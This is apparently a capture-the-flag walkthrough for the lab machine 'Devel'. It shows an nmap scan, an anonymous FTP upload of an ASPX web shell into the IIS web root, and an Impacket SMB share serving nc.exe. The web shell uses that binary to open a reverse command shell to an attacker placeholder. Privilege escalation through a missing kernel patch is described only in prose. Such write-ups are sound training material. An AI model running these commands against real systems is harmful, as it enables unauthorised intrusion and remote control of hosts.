Devel

Enumeration and foothold

nmap -sC -sV -oA ./devel 10.10.10.5

Anonymous FTP and IIS 7.5 share the same web root. Upload an ASPX web shell and request it through HTTP.

ftp 10.10.10.5
put webshell.aspx

An Impacket SMB server exposes nc.exe to the target, allowing the web shell to start a reverse command prompt.

sudo python3 smbserver.py sharename Devel
\\YOURIP\share\nc.exe -e cmd.exe YOURIP 9999

Privilege escalation

Windows Exploit Suggester identifies multiple missing kernel patches on the 32-bit Windows 7 host. The original walkthrough transfers an applicable local exploit and uses it to obtain a SYSTEM shell.